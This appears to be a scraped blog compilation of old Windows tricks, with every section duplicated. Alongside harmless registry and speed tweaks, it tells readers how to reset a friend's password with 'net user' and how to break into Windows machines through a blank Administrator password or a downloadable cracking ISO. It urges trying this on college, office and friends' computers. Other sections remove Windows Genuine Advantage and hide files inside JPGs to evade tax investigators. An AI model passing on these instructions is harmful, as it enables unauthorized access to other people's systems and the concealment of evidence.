10. Press WinKey+Tab to display Flip3D.
1. Press WinKey+R.
2. Type “regedit.exe“
3. If asked for permission to launch the Registry Editor, click Allow.
4. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM
5. Right click and select New, click on “DWORD (32-bit)”.
6. Name the new DWORD value “Max3DWindows” (without the quotes)
7. Double click on the DWORD value and set it to the maximum number of windows you want displayed in Flip3D. A good number is 5 for low-end cards and 10 for high performance cards.
8. Click OK and exit the Registry Editor.
9. Press Ctrl+Shift+F9 to shutdown DWM, and then press the key combination again to restart it.
10. Press WinKey+Tab to display Flip3D.
Disable the right click functionality on the desktop
Very useful particularly for home users who want to protect their system default settings against unwanted changes that other users can make. For example changes in system desktop appearance, themes, and screen saver as well as other display settings. Using registry editor, you can disable the right click functionality on desktop to access the "Display Properties" dialog box and this will also prevent users to access windows explorer.
Follow the given steps to disable the right click functionality on desktop:
To use this feature, you will need to be logged into your computer with administrative rights.
Click Start button and type regedit in Run option then press Enter for next.
Here locate the location to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Here in right side panel, right click to create a new DWORD value with the name NoViewContextMenu (it is case sensitive), then assign number 1 in value data box.
Now close the registry editor and restart your computer after any changes to go into effect.
But next time, if you want to enable right click functionality on desktop then simply change the value of data box or delete the NoViewContextMenu DWORD item.
Follow the given steps to disable the right click functionality on desktop:
To use this feature, you will need to be logged into your computer with administrative rights.
Click Start button and type regedit in Run option then press Enter for next.
Here locate the location to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Here in right side panel, right click to create a new DWORD value with the name NoViewContextMenu (it is case sensitive), then assign number 1 in value data box.
Now close the registry editor and restart your computer after any changes to go into effect.
But next time, if you want to enable right click functionality on desktop then simply change the value of data box or delete the NoViewContextMenu DWORD item.
Changing the Title on Windows Media Player
You can change the title bar for the Windows Media Player
1. Start Regedit
2. Go to HKEY_USERS \ .DEFAULT \ Software \ Policies \ Microsoft \ WindowsMediaPlayer
3. Create a string value of TitleBar
4. Give it a value of whatever you want to appear in the title bar
1. Start Regedit
2. Go to HKEY_USERS \ .DEFAULT \ Software \ Policies \ Microsoft \ WindowsMediaPlayer
3. Create a string value of TitleBar
4. Give it a value of whatever you want to appear in the title bar
Disable USB Ports
Here is a way to disable USB ports in an Active Directory Domain
In Active Directory Users and Computers, open an existing GPO or create a new one and open it. Use the security settings of that GPO to specify which computers it affects.
In that GPO, go to Computer Configuration – Windows Settings – Security Settings – File System and create a new entry (right-click File System and select Add File). Specify the location of USBSTOR.INF (usually SystemRoot%\Inf\USBSTOR.INF)
Change the security settings of the new entry. The security settings that you specify here will be enforced on the USBSTOR.INF of every computer to which the GPO is applied. This process is not additive, which means that the previous security settings of USBSTOR.INF will be overwritten by the ones given in the GPO. It is therefore recommended to grant full control to SYSTEM and local administrators. But unlike in the default security settings of USBSTOR.INF, you should not grant any priviledges to Everybody. You do not need to explicitly deny access – just omit an entry for Everybody. Optionally, you can grant read access to a certain group. Members of this group will be able to use USB storage.
Repeat the above two steps for USBSTOR.PNF.
Download USBSTOR.ADM.
Back in the GPO, right-click Administrative Templates under Computer Configuration and select Add/Remove Templates. Click Add and browse to the location of USBSTOR.ADM. Close the dialog.
You should now have an additional entry called Services and Drivers in Administrative Templates. Click on it. If it is empty, select View from the menu and uncheck Show Policies Only. Click back on Services and Drivers in Administrative Templates. It should now show the USB Storage policy. Double click it, select Enabled and pick Disabled from the Startup Type drop down. Again, the policy must be enabled wheras Startup Type must be Disabled.
Close the dialog as well as the GPO and boot/reboot one of your workstations. Make sure no USB strorage device is connected to that computer. Log on with administrative privileges and check the permissions of USBSTOR.INF and USBSTOR.PNF. Check the value of the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor\Start. It should be 4. It is also ok if the UsbStor key doesn't exist at all.
On the same workstation, log off and back on as a user that should not have access to USB storage. Connect a USB memory stick or a similar device. Nothing should happen. Remove the memory stick.
Log on as a user that should have access to USB storage and execute net start usbstor in a command shell or at Start – Run before connecting the memory stick. The memory stick should initialized and mapped to a drive letter. If USBSTOR fails to start, it's probably because this is the first time a memory stick is plugged into the workstation in which case USBSTOR is not yet installed. Nevertheless, the memory stick should be initialized and mapped correctly but you need to reboot in order to reapply the administrative template such that USBSTOR is disabled again. Alternatively, you can disable it manually by downloading and double clicking USBSTOR.REG as well as executing net stop usbstor.
Instruct the users with access to USB storage that they need to execute net start usbstor before they can connect a USB storage device.
In Active Directory Users and Computers, open an existing GPO or create a new one and open it. Use the security settings of that GPO to specify which computers it affects.
In that GPO, go to Computer Configuration – Windows Settings – Security Settings – File System and create a new entry (right-click File System and select Add File). Specify the location of USBSTOR.INF (usually SystemRoot%\Inf\USBSTOR.INF)
Change the security settings of the new entry. The security settings that you specify here will be enforced on the USBSTOR.INF of every computer to which the GPO is applied. This process is not additive, which means that the previous security settings of USBSTOR.INF will be overwritten by the ones given in the GPO. It is therefore recommended to grant full control to SYSTEM and local administrators. But unlike in the default security settings of USBSTOR.INF, you should not grant any priviledges to Everybody. You do not need to explicitly deny access – just omit an entry for Everybody. Optionally, you can grant read access to a certain group. Members of this group will be able to use USB storage.
Repeat the above two steps for USBSTOR.PNF.
Download USBSTOR.ADM.
Back in the GPO, right-click Administrative Templates under Computer Configuration and select Add/Remove Templates. Click Add and browse to the location of USBSTOR.ADM. Close the dialog.
You should now have an additional entry called Services and Drivers in Administrative Templates. Click on it. If it is empty, select View from the menu and uncheck Show Policies Only. Click back on Services and Drivers in Administrative Templates. It should now show the USB Storage policy. Double click it, select Enabled and pick Disabled from the Startup Type drop down. Again, the policy must be enabled wheras Startup Type must be Disabled.
Close the dialog as well as the GPO and boot/reboot one of your workstations. Make sure no USB strorage device is connected to that computer. Log on with administrative privileges and check the permissions of USBSTOR.INF and USBSTOR.PNF. Check the value of the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor\Start. It should be 4. It is also ok if the UsbStor key doesn't exist at all.
On the same workstation, log off and back on as a user that should not have access to USB storage. Connect a USB memory stick or a similar device. Nothing should happen. Remove the memory stick.
Log on as a user that should have access to USB storage and execute net start usbstor in a command shell or at Start – Run before connecting the memory stick. The memory stick should initialized and mapped to a drive letter. If USBSTOR fails to start, it's probably because this is the first time a memory stick is plugged into the workstation in which case USBSTOR is not yet installed. Nevertheless, the memory stick should be initialized and mapped correctly but you need to reboot in order to reapply the administrative template such that USBSTOR is disabled again. Alternatively, you can disable it manually by downloading and double clicking USBSTOR.REG as well as executing net stop usbstor.
Instruct the users with access to USB storage that they need to execute net start usbstor before they can connect a USB storage device.
Changing XP password without old password
Here is a technique to change XP password of your friend's login pc without knowing any hint or old passwords:
just open CMD PROMPT and type as shown below
C:/ net user username newpassword <----|
for example...
If your friend's username is Gaurav, and you want to change itz password to Bhatia
Type as shown below:
C:/net user Sudheer <====
tats all u have successfully changed ur friendz password to "Bhatia"
If you are the admin of pc then go to CMD prompt and type
"""""control userpasswords2""""""
here you can change the password
just open CMD PROMPT and type as shown below
C:/ net user username newpassword <----|
for example...
If your friend's username is Gaurav, and you want to change itz password to Bhatia
Type as shown below:
C:/net user Sudheer <====
tats all u have successfully changed ur friendz password to "Bhatia"
If you are the admin of pc then go to CMD prompt and type
"""""control userpasswords2""""""
here you can change the password
How To Disable Windows Genuine Advantage Notification in 3 Simple Steps
Following three simple steps now you can get rid of the pesky and sometimes buggy Windows Genuine Advantage (WGA) notifications:
1. Reboot Windows in safe mode (hold the f8 key while booting and you will get the option to boot in safe mode) and then:
2. Open Registry Editor (regedit.exe) and search for wgalogon folder and delete it. You should backup up the registry beforehand, in case somethiong goes wrong.
3. In your windows directory search for files wga* and delete them.
You are done!
Now reboot back normally and continue your work. Windows Genuine Advantage will not bother you anymore.
Warning: Use at your own risk. Backup everything before you do.
1. Reboot Windows in safe mode (hold the f8 key while booting and you will get the option to boot in safe mode) and then:
2. Open Registry Editor (regedit.exe) and search for wgalogon folder and delete it. You should backup up the registry beforehand, in case somethiong goes wrong.
3. In your windows directory search for files wga* and delete them.
You are done!
Now reboot back normally and continue your work. Windows Genuine Advantage will not bother you anymore.
Warning: Use at your own risk. Backup everything before you do.
Windows 2000 / XP / 2003 / Vista Password Breaking & Cracking
Before starting, for newbies…
* Windows NT 5.0 = Windows 2000 (all edition)
* Windows NT 5.1 = Windows XP (all edition)
* Windows NT 5.2 = Windows 2003 (all edition)
So throughout this post I will refer our target as Windows NT 5.x (as following content are equally applicable to all Windows NT 5.x OS family).
So lets start the fun. You will be surprised to know that you can break into any Windows NT 5.x system without any software tool 80% of the time! So does this mean you can break into 80% of the system only???
No No No, If this would have been true, I’d never posted this. I believe in 100% result. So for 20% system there are another ‘n’ no. of ways and I’ll tell u a bit insecure way later. First lets get to 80% of the vulnerable system.
In Windows NT 5.x, you can create any no. of user with different names & privilege and optionally password. One such account with highest privilege level, with user name “Administrator” is setup by default (at par with UNIX/Linux’s root account).
At the time of installation Windows NT 5.x prompts for password but many system are setup by vendors and other person. The user of the system is different than one who installed and these lazy people are always in hurry and SKIP this password window. (Now I feel this is something wrong with Windows. It should be like Linux’s installer anaconda who forces you to provide password for “root” user).
The irony comes next. In final step of installation you create an account. Lock it with password(optionally) and start using the system. Now on welcome screen you see account(s) with different name. But have you ever seen “Administrator” account name (except you skipped somehow to create another account or booting in safe mode”).
Now if u can’t see “Administrator” account on screen, and system is locked against administrator privilege. You can hit “CTRL+ALT+DEL” (in Windows XP) to get Authentication window of Windows 2000 style.). If you still fail to get windowed login screen, boot the computer in safe mode ( It is done by pressing F8 during booting and selecting "Safe Mode" from the menu ).
Once you get dialog box. Enter user name “Administrator”, leave password field blank and hit ENTER to brake into the system! This is what works 80% of the time (I know its hard to believe but rather simple to TRY IT OUT!!!!).
Now for rest of the 20% system (where “Administrator” password is not blank). There are literally more than 100’s of tool available on Internet and the tool I use, I like, I refer is here.
I don’t know its name. I got it from my hacker friend ROGER. I named it WinPass.iso. Its an ISO image and you can download it from megshare where I kept it for downloading! Burn this ISO on a CD… Its bootable image of 2.7 MB.
It has Linux OS with text-mode only. (No Linux Knowledge Require here!!! Great naa….). After booting from CD… A menu driven program will start with options and their description at each level.
READ EVERYTHING BEFORE GOING AHEAD as any wrong-turn will make the target machine unstable. One mistake may crash the system to the reinstallation phase! So test it first on systems from college, office, etc!
It worked 100% of the time….As its 3.03 MB (after extracting) you can burn it on a mini-CD and keep it in your wallet all the time, so can roam around having master key to all systems having Windows NT 5.x family OS!!!
You can search on Google for Windows Password Cracking And Hacking Tools and would get plenty of them. Soon I would be posting as in how these softwares work. Njoy !!!
Ready to crack in your friends comp huh ?
* Windows NT 5.0 = Windows 2000 (all edition)
* Windows NT 5.1 = Windows XP (all edition)
* Windows NT 5.2 = Windows 2003 (all edition)
So throughout this post I will refer our target as Windows NT 5.x (as following content are equally applicable to all Windows NT 5.x OS family).
So lets start the fun. You will be surprised to know that you can break into any Windows NT 5.x system without any software tool 80% of the time! So does this mean you can break into 80% of the system only???
No No No, If this would have been true, I’d never posted this. I believe in 100% result. So for 20% system there are another ‘n’ no. of ways and I’ll tell u a bit insecure way later. First lets get to 80% of the vulnerable system.
In Windows NT 5.x, you can create any no. of user with different names & privilege and optionally password. One such account with highest privilege level, with user name “Administrator” is setup by default (at par with UNIX/Linux’s root account).
At the time of installation Windows NT 5.x prompts for password but many system are setup by vendors and other person. The user of the system is different than one who installed and these lazy people are always in hurry and SKIP this password window. (Now I feel this is something wrong with Windows. It should be like Linux’s installer anaconda who forces you to provide password for “root” user).
The irony comes next. In final step of installation you create an account. Lock it with password(optionally) and start using the system. Now on welcome screen you see account(s) with different name. But have you ever seen “Administrator” account name (except you skipped somehow to create another account or booting in safe mode”).
Now if u can’t see “Administrator” account on screen, and system is locked against administrator privilege. You can hit “CTRL+ALT+DEL” (in Windows XP) to get Authentication window of Windows 2000 style.). If you still fail to get windowed login screen, boot the computer in safe mode ( It is done by pressing F8 during booting and selecting "Safe Mode" from the menu ).
Once you get dialog box. Enter user name “Administrator”, leave password field blank and hit ENTER to brake into the system! This is what works 80% of the time (I know its hard to believe but rather simple to TRY IT OUT!!!!).
Now for rest of the 20% system (where “Administrator” password is not blank). There are literally more than 100’s of tool available on Internet and the tool I use, I like, I refer is here.
I don’t know its name. I got it from my hacker friend ROGER. I named it WinPass.iso. Its an ISO image and you can download it from megshare where I kept it for downloading! Burn this ISO on a CD… Its bootable image of 2.7 MB.
It has Linux OS with text-mode only. (No Linux Knowledge Require here!!! Great naa….). After booting from CD… A menu driven program will start with options and their description at each level.
READ EVERYTHING BEFORE GOING AHEAD as any wrong-turn will make the target machine unstable. One mistake may crash the system to the reinstallation phase! So test it first on systems from college, office, etc!
It worked 100% of the time….As its 3.03 MB (after extracting) you can burn it on a mini-CD and keep it in your wallet all the time, so can roam around having master key to all systems having Windows NT 5.x family OS!!!
You can search on Google for Windows Password Cracking And Hacking Tools and would get plenty of them. Soon I would be posting as in how these softwares work. Njoy !!!
Ready to crack in your friends comp huh ?
Windows vista speed tweaks
1, Increase external USB hard drive performance.
By default, USB storage devices have write caching totally disabled primarily so you can unplug them without bothering with the Safety Remove Software icon in the Tray. Although this is handy for flash drives, it significantly slows down external USB hard drives. First, plug in your external USB drive, right-click Computer
in the Start menu, and choose Properties. Then, click the Device Manager link, expand the Disk Drives entry by clicking the plus (+) sign, and double-click your external USB hard drive. Click the Policies tab and then click Optimize for Performance. This makes two more options appear: Enable Write Caching on the Disk and Enabled Advance Performance. Enable both options and click OK. Rebooting enables the change.
2, Increase SATA drive performance.
Vista's write caching is fairly conservative by default in order to prevent data loss in the event of a power failure. It your desktop PC is connected to a UPS (uninterruptable power supply), or if you're using a notebook computer with a reliable battery, you can set the write caching to be more aggressive. Right-click Computer in the Start menu, choose Properties, and then click the Device Manager link. Expand the Disk Drives entry by clicking on the plus (+) symbol and then double-click your SATA hard drive. Click the Policies tab, check Enable Advanced Performance, and click OK. Rebooting Vista will enable this change.
3, Disable Network Printer Search.
Vista normally searches for new network printers when you browse your LAN. But if you aren't regularly adding printers to your network, this searching slows things down. To disable this feature, click Network from the Start menu, which opens the Network window. Press ALT to make the Menu Bar visible if it isn't already and then choose Polder Options from the Tools menu. Finally, click the View tab. uncheck Automatically Search for Network Printers, and then click OK.
4, Turn unneeded Vista features off.
Windows Vista adds hundreds of features when it is installed. Not all of them arc enabled by default, but you probably don't need many that arc, anyway. Disabling those you don't need saves resources and speeds your system up. To find these and disable them, open the Windows Control Panel and switch to Classic View. Next, double click the Programs and Features icon and then click the Turn Windows Features on or off link on the left side or the window. After a moment, a large list appears with checkboxes. Those that are checked are enabled and those that aren't arc disabled. Different versions of Vista have different features enabled, so expand any collapsible entries by clicking the plus (+) sign to see what's turned on and disable what you don't need. For example, if you don't have a Tablet PC, you can safely disable Tablet PC Options Components. Click OK when you're done, and your computer will restart if necessary.
By default, USB storage devices have write caching totally disabled primarily so you can unplug them without bothering with the Safety Remove Software icon in the Tray. Although this is handy for flash drives, it significantly slows down external USB hard drives. First, plug in your external USB drive, right-click Computer
in the Start menu, and choose Properties. Then, click the Device Manager link, expand the Disk Drives entry by clicking the plus (+) sign, and double-click your external USB hard drive. Click the Policies tab and then click Optimize for Performance. This makes two more options appear: Enable Write Caching on the Disk and Enabled Advance Performance. Enable both options and click OK. Rebooting enables the change.
2, Increase SATA drive performance.
Vista's write caching is fairly conservative by default in order to prevent data loss in the event of a power failure. It your desktop PC is connected to a UPS (uninterruptable power supply), or if you're using a notebook computer with a reliable battery, you can set the write caching to be more aggressive. Right-click Computer in the Start menu, choose Properties, and then click the Device Manager link. Expand the Disk Drives entry by clicking on the plus (+) symbol and then double-click your SATA hard drive. Click the Policies tab, check Enable Advanced Performance, and click OK. Rebooting Vista will enable this change.
3, Disable Network Printer Search.
Vista normally searches for new network printers when you browse your LAN. But if you aren't regularly adding printers to your network, this searching slows things down. To disable this feature, click Network from the Start menu, which opens the Network window. Press ALT to make the Menu Bar visible if it isn't already and then choose Polder Options from the Tools menu. Finally, click the View tab. uncheck Automatically Search for Network Printers, and then click OK.
4, Turn unneeded Vista features off.
Windows Vista adds hundreds of features when it is installed. Not all of them arc enabled by default, but you probably don't need many that arc, anyway. Disabling those you don't need saves resources and speeds your system up. To find these and disable them, open the Windows Control Panel and switch to Classic View. Next, double click the Programs and Features icon and then click the Turn Windows Features on or off link on the left side or the window. After a moment, a large list appears with checkboxes. Those that are checked are enabled and those that aren't arc disabled. Different versions of Vista have different features enabled, so expand any collapsible entries by clicking the plus (+) sign to see what's turned on and disable what you don't need. For example, if you don't have a Tablet PC, you can safely disable Tablet PC Options Components. Click OK when you're done, and your computer will restart if necessary.
Secretly Hide Any File Inside JPG Image File
Few months ago , USA Today story claimed that al-Qaeda operatives were sending out encrypted messages by hiding them inside digital photographs [jpg files] on eBay.
While the claim was never proved, it is very easy to hide [or embed] any other file[s] inside a JPEG image. You can place video clips, pdf, mp3, Office documents, zipped files, webpage or any other file format inside a JPEG image.
And when a suspecting user [read CIA, FBI] tries to open that jpeg file [with concealed information] in either a photo editing software or as a thumbnail inside Windows Explorer, it would be tough to make out if this camouflaged jpg file is different from any standard jpg image.
Let's say you want to hide a confidential PDF document from the tax investigation officers. What you can do is convert that file into a regular jpg image so even if anyone double-clicks this file, all he will see is a preview of the image and nothing else. And when you want to work on the actual PDF, just rename the extension from jpg to pdf.
Here's the full trick:
Step 1: You will need two files - the file you want to hide and one jpg image - it can be of any size or dimensions. [If you want to hide multiple files in one jpeg image, just zip them into one file]
Step 2: Copy the above two files to the C: folder and open the command prompt window.
Step 3: Move to the c: root by typing cd \ [if the files are in another folder, you'll have to change the prompt to that folder]
Step 4: The most important step - type the following command:
copy /b myimage.jpg + filetohide.pdf my_new_image.jpg
To recover the original PDF file, just rename my_new_image.jpg to filename.pdf.
Here we illustrated with an pdf file as that works with simple renaming. If you want to apply this technique to other file formats like XLS, DOC, PPT, AVI, WMV, WAV, SWF, etc, you may have to first compress them in RAR format before executing the copy /b DOS command.
To restore the original file, rename the .jpg file to .rar and extract it using 7-zip or Winrar.
While the claim was never proved, it is very easy to hide [or embed] any other file[s] inside a JPEG image. You can place video clips, pdf, mp3, Office documents, zipped files, webpage or any other file format inside a JPEG image.
And when a suspecting user [read CIA, FBI] tries to open that jpeg file [with concealed information] in either a photo editing software or as a thumbnail inside Windows Explorer, it would be tough to make out if this camouflaged jpg file is different from any standard jpg image.
Let's say you want to hide a confidential PDF document from the tax investigation officers. What you can do is convert that file into a regular jpg image so even if anyone double-clicks this file, all he will see is a preview of the image and nothing else. And when you want to work on the actual PDF, just rename the extension from jpg to pdf.
Here's the full trick:
Step 1: You will need two files - the file you want to hide and one jpg image - it can be of any size or dimensions. [If you want to hide multiple files in one jpeg image, just zip them into one file]
Step 2: Copy the above two files to the C: folder and open the command prompt window.
Step 3: Move to the c: root by typing cd \ [if the files are in another folder, you'll have to change the prompt to that folder]
Step 4: The most important step - type the following command:
copy /b myimage.jpg + filetohide.pdf my_new_image.jpg
To recover the original PDF file, just rename my_new_image.jpg to filename.pdf.
Here we illustrated with an pdf file as that works with simple renaming. If you want to apply this technique to other file formats like XLS, DOC, PPT, AVI, WMV, WAV, SWF, etc, you may have to first compress them in RAR format before executing the copy /b DOS command.
To restore the original file, rename the .jpg file to .rar and extract it using 7-zip or Winrar.
Disable Dr. Watson
Watson is a debugging tool in windows , which sometimes becomes quite irritating when ever it pops up suddenly .
Here is a method to disable it , if it bugs you :
Dr. Watson can be disabled using the registry editor:
1. Start the registry editor (Start >> Run >> type "regedit.exe" >> Hit enter )
2. Navigate to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug
3. Click on AeDebug and click Del
Alternativly just set HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug \ AUTO to 0
To re-enable Dr. Watson type "drwtsn32 -i" in run window.
Here is a method to disable it , if it bugs you :
Dr. Watson can be disabled using the registry editor:
1. Start the registry editor (Start >> Run >> type "regedit.exe" >> Hit enter )
2. Navigate to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug
3. Click on AeDebug and click Del
Alternativly just set HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AeDebug \ AUTO to 0
To re-enable Dr. Watson type "drwtsn32 -i" in run window.
Increase your BitTorrent Speed with Acceleration Patch 4.7.3
BitTorrent Acceleration Patch description - An innovative plug-in for BitTorrent that boosts your download speed.
BitTorrent Acceleration Patch is an innovative plug-in for BitTorrent. Architecture of the program is designed to permit you downloads of MP3s, movies and other desired files at highest speed.
Bandwidth of your Internet connection
is managed as efficiently as possible and BitTorrent Acceleration Patch will help you find more sources to download.BitTorrent Acceleration Patch is a BitTorrent plug-in that allows you to download MP3s and movies.
Here are some key features of "BitTorrent Acceleration Patch":
· Automatically resumes paused downloads;
· Configuration from last run is saved and auto loads on start-up;
· Clean and free, without any adware or spyware;
· Finished and wrong files are cleaned automatically;
· Finds more sources at user-specified intervals;
· Interface is easy to use and good-looking;
· Interface is easy operable by a system tray icon.
Requirements:
· BitTorrent installed;
· Internet connection.
BitTorrent Acceleration Patch is an innovative plug-in for BitTorrent. Architecture of the program is designed to permit you downloads of MP3s, movies and other desired files at highest speed.
Bandwidth of your Internet connection
is managed as efficiently as possible and BitTorrent Acceleration Patch will help you find more sources to download.BitTorrent Acceleration Patch is a BitTorrent plug-in that allows you to download MP3s and movies.
Here are some key features of "BitTorrent Acceleration Patch":
· Automatically resumes paused downloads;
· Configuration from last run is saved and auto loads on start-up;
· Clean and free, without any adware or spyware;
· Finished and wrong files are cleaned automatically;
· Finds more sources at user-specified intervals;
· Interface is easy to use and good-looking;
· Interface is easy operable by a system tray icon.
Requirements:
· BitTorrent installed;
· Internet connection.
How to disable Windows XP Boot logo
It is possible to disable the XP splash screen, which will slightly speed up the overall boot process. Be aware that removing the splash screen will also cause you not to see any boot-up messages that might come up (chkdsk, convert … ), but if your system runs without any problems then it should not matter.
* Edit boot.ini.
* Add ” /noguiboot” right after “/fastdetect”.
Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.
* Edit boot.ini.
* Add ” /noguiboot” right after “/fastdetect”.
Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.
Window Vista has built in support for SATA and external drives , but they seem to be slow because the advanced write cache features aren’t automatically activated. With just few steps you can enable them and get a much faster response.
First you need to go to the Device Manager which you can go directly by just typing device in the start menu search box or just type in devmgmt.msc in command line.
Now open the Disk drives section and right click on your hard drive. Now click on the Policies tab and you’ll find this dialog box:
Now click the checkbox for Enable advanced performance, and you are done.
Write caching isn’t enabled by default as removing devices directly without using the “Safely remove removable device”may lose your data, so be cautious when enabling this options. But enabling this option also when speeding up performance significantly when writing to the disk.
Now select the external drive and double click it to open up the properties screen. Then just change the setting to “Optimize for performance” and hit OK to continue. You’ll have to reboot for all the settings to take effect. Next time you boot into Windows Vista you’ll see faster bootup times and better disk writing performance.
First you need to go to the Device Manager which you can go directly by just typing device in the start menu search box or just type in devmgmt.msc in command line.
Now open the Disk drives section and right click on your hard drive. Now click on the Policies tab and you’ll find this dialog box:
Now click the checkbox for Enable advanced performance, and you are done.
Write caching isn’t enabled by default as removing devices directly without using the “Safely remove removable device”may lose your data, so be cautious when enabling this options. But enabling this option also when speeding up performance significantly when writing to the disk.
Now select the external drive and double click it to open up the properties screen. Then just change the setting to “Optimize for performance” and hit OK to continue. You’ll have to reboot for all the settings to take effect. Next time you boot into Windows Vista you’ll see faster bootup times and better disk writing performance.
Use USB Pen Drive or External Memory on Hard disk for Speed Up Computer without Additional RAM Memory
If you are looking for increase the computer performance probably you’ll need to buy an additional RAM. Anyway still you want to make quite faster your computer without buying any additional resources and using only exiting materials then this is something similar for your needs.eboostr is a software which facilitate to use extra memory space on the hard drive or your pen drive to improve computer respond time and performances.
About Eboostr
Eboostr is quite similar to vista ReadyBoost and SuperFetch technology which use flash memory to speedup computer overall performance.Eboostr gathers statistics about applications you use and how often and optimizing their performance by pre-caching their files and data on different cache devices and allowing faster access speed and reduced delays.
How to use eBooster:
First you have to download the eboostr. Trial version will never expire, although it works only four hours after every start of your pc. If you need continuously use it then you have to restart your computer again and again and it'll allow 4 hour for using it after every restart.
Install eboostr and open, eboostr Control Panel
Click Add button.
Select the memory device which has good enough memory it can be your pen drive or hard drive
Change the cache size. Normally it is enough to set your cache size for 4GB more than 16GB no sense
Click ok at this time it will ask you for building cache in selected device and allocated memory space, click ok.After it builds the cache, you're ready for using it. Finally don't forget to measure your speed by eBoostr SpeedMeasure Tool.
Drop your idea about purchasing RAM anymore to increase perforamnce of your PC.Your Pendrice will do the part.!!
About Eboostr
Eboostr is quite similar to vista ReadyBoost and SuperFetch technology which use flash memory to speedup computer overall performance.Eboostr gathers statistics about applications you use and how often and optimizing their performance by pre-caching their files and data on different cache devices and allowing faster access speed and reduced delays.
How to use eBooster:
First you have to download the eboostr. Trial version will never expire, although it works only four hours after every start of your pc. If you need continuously use it then you have to restart your computer again and again and it'll allow 4 hour for using it after every restart.
Install eboostr and open, eboostr Control Panel
Click Add button.
Select the memory device which has good enough memory it can be your pen drive or hard drive
Change the cache size. Normally it is enough to set your cache size for 4GB more than 16GB no sense
Click ok at this time it will ask you for building cache in selected device and allocated memory space, click ok.After it builds the cache, you're ready for using it. Finally don't forget to measure your speed by eBoostr SpeedMeasure Tool.
Drop your idea about purchasing RAM anymore to increase perforamnce of your PC.Your Pendrice will do the part.!!
How to Unlock Memory Card when you forgot your Memory Card Password
Some times it happens that you forgot the password of your memory card and you have lots of your important data in your phone.
So there are two types of methods for recovering the password of your memory card with the help of nokia phone.
For Nokia s60 1st and 2nd edition phones.
1. First Install FExplorer in your phone memory.
2. Got to drive C: , you will find a file called mmcstore.
3. Send it to your pc directly and open it in notepad or rename the file.
4. At the end of the file you will find your password.
For Nokia S60 3rd Phones, Nokia N-Series and Nokia E-Series
>There is almost no way yet known to hack the memory card password in case of these types of phone but there is a way to do it some of the s60 3rd edition phones and almost all the E-series phones.
>The remote lock option in E-Series phone allws you to unlock your phone by sending a sms.
>The only thing you have to do is to activate this feature by going to Tools--> Settings--> Security-->Phone and SIM-->Allow remote lock menu. The password of your memory card will be your remote lock message.
>So you have to just send a sms containing your remote lock message that will automatically change your memory card passsword.
So there are two types of methods for recovering the password of your memory card with the help of nokia phone.
For Nokia s60 1st and 2nd edition phones.
1. First Install FExplorer in your phone memory.
2. Got to drive C: , you will find a file called mmcstore.
3. Send it to your pc directly and open it in notepad or rename the file.
4. At the end of the file you will find your password.
For Nokia S60 3rd Phones, Nokia N-Series and Nokia E-Series
>There is almost no way yet known to hack the memory card password in case of these types of phone but there is a way to do it some of the s60 3rd edition phones and almost all the E-series phones.
>The remote lock option in E-Series phone allws you to unlock your phone by sending a sms.
>The only thing you have to do is to activate this feature by going to Tools--> Settings--> Security-->Phone and SIM-->Allow remote lock menu. The password of your memory card will be your remote lock message.
>So you have to just send a sms containing your remote lock message that will automatically change your memory card passsword.
Apply Background Picture for your Pendrive,A nice trick
If you wish to place Background Picture for your Pendrive then here is the simple trick to do that.I saw this trick in orkut and would like to share it with you.
step 1: Open notepad
step 2: Just Copy the below code to notepad,then save it as "desktop.ini"
[.ShellClassInfo]
IconFile=%SystemRoot%\system32\SHELL32.dll
IconIndex=127
ConfirmFileOp=0
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]Attributes=1
IconArea_Image="YourPictureName.jpg"
IconArea_Text="0xFFFFFF"
VeBRA sources - don't delete the tag above, it's there for XXXXX purposes -
[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=Folder.htt
PersistMonikerPreview=%WebDir%\folder.bmp
Note:
1. Where "YourPictureName.jpg" is, delete that and replace with your picture name for example "digital-mirror.gif"
2. Put "desktop.ini" and your chosen picture in yourUSB Drive then Hidden it.
3. Refresh and Enjoy with your new background.
step 1: Open notepad
step 2: Just Copy the below code to notepad,then save it as "desktop.ini"
[.ShellClassInfo]
IconFile=%SystemRoot%\system32\SHELL32.dll
IconIndex=127
ConfirmFileOp=0
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]Attributes=1
IconArea_Image="YourPictureName.jpg"
IconArea_Text="0xFFFFFF"
VeBRA sources - don't delete the tag above, it's there for XXXXX purposes -
[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=Folder.htt
PersistMonikerPreview=%WebDir%\folder.bmp
Note:
1. Where "YourPictureName.jpg" is, delete that and replace with your picture name for example "digital-mirror.gif"
2. Put "desktop.ini" and your chosen picture in yourUSB Drive then Hidden it.
3. Refresh and Enjoy with your new background.
Reduce RAM Usage Of Mozilla Firefox and Increase System Performance
Mozilla Firefox the most popular web browser today.The most important problem people facing while using Mozilla Firefox is its High Memory Usage.Most people avoid using Mozilla firefoz because of the above reason.Here is a solution the problem mentioned above.
But actually this problem is not coming with the Firefox as we open it for first time I couldn’t notice this thing happen. But after some time later it’s going to eat more and more memory and also Firefox start up time increasing.
